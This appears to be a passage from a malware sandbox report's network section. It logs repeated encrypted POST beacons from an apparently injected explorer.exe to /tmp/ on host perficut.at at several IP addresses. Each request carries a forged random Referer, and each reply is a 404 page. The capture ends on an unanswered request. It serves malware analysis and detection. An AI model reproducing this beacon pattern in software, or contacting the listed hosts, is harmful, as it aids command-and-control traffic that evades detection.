Feb 16, 2023 11:49:37.037990093 CET	4802	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49711	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:38.605539083 CET	4803	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lbjhakekto.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: perficut.at
Feb 16, 2023 11:49:38.605600119 CET	4804	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 78 35 a7 f2 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vux5Wk9m!;^zS2x23rLAGnwL
Feb 16, 2023 11:49:39.494288921 CET	4804	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49712	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:39.755117893 CET	4805	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://crgmjmuijj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 212 Host: perficut.at
Feb 16, 2023 11:49:39.755209923 CET	4806	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 38 1f d1 8a Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vu8uCjy9.6/iN;kjGFN+vcZJTW+: dcWYkde]fz\V9KA
Feb 16, 2023 11:49:40.647159100 CET	4806	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49713	79.102.150.149	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:41.009999037 CET	4807	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://korukrn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: perficut.at
Feb 16, 2023 11:49:41.010037899 CET	4808	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 44 1b f1 99 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuDSKr[rmJ?keJFD/L`N>^GL"CZsGG^?"jEw,NZm9);<5
Feb 16, 2023 11:49:41.397497892 CET	4809	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49714	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:41.691025972 CET	4810	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://alssy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 198 Host: perficut.at
Feb 16, 2023 11:49:41.691075087 CET	4810	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 50 4f bb e3 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuPOuNjXThF!6j^c\kXKL_=va?@V_6WH3#P8K^"hujK
Feb 16, 2023 11:49:42.577826977 CET	4811	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49715	210.182.29.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:42.927665949 CET	4812	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qxpxbrtvn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 284 Host: perficut.at
Feb 16, 2023 11:49:42.927743912 CET	4813	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 57 0b a2 e2 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuWVrXHFgsM_gz=XO^To_KUJUL#[NQSA+PxrG"6e:]pPdC%G:78jDk"Nz{^rl;$,
Feb 16, 2023 11:49:44.105103016 CET	4813	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49716	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:44.398288965 CET	4814	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://legvdygi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 183 Host: perficut.at
Feb 16, 2023 11:49:44.398355961 CET	4815	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 59 3b aa 9e Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuY;W\|n&/1dh=)@ic~SP!8%-Hfs)!lYW(Z0
Feb 16, 2023 11:49:45.277734041 CET	4815	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49698	210.182.29.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:07.586816072 CET	156	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yloravu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 209 Host: perficut.at
Feb 16, 2023 11:49:07.586894989 CET	157	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 31 47 bc 86 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vu1G\|6gf#Oq0e0od-^v@Lg{;hORP1kU=n^08@7w
Feb 16, 2023 11:49:08.940285921 CET	157	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49717	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:46.244776011 CET	4816	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rdrxyeo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: perficut.at
Feb 16, 2023 11:49:46.244837999 CET	4817	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 3e 36 c2 ba Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vu>6DI\|`bDbqT#;<LOah?CD$^M^>BUX+`v#qM:d<H6J'3ZTiQzB-#
Feb 16, 2023 11:49:47.548507929 CET	4817	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:46 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49718	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:48.038765907 CET	4818	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vnowdj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 272 Host: perficut.at
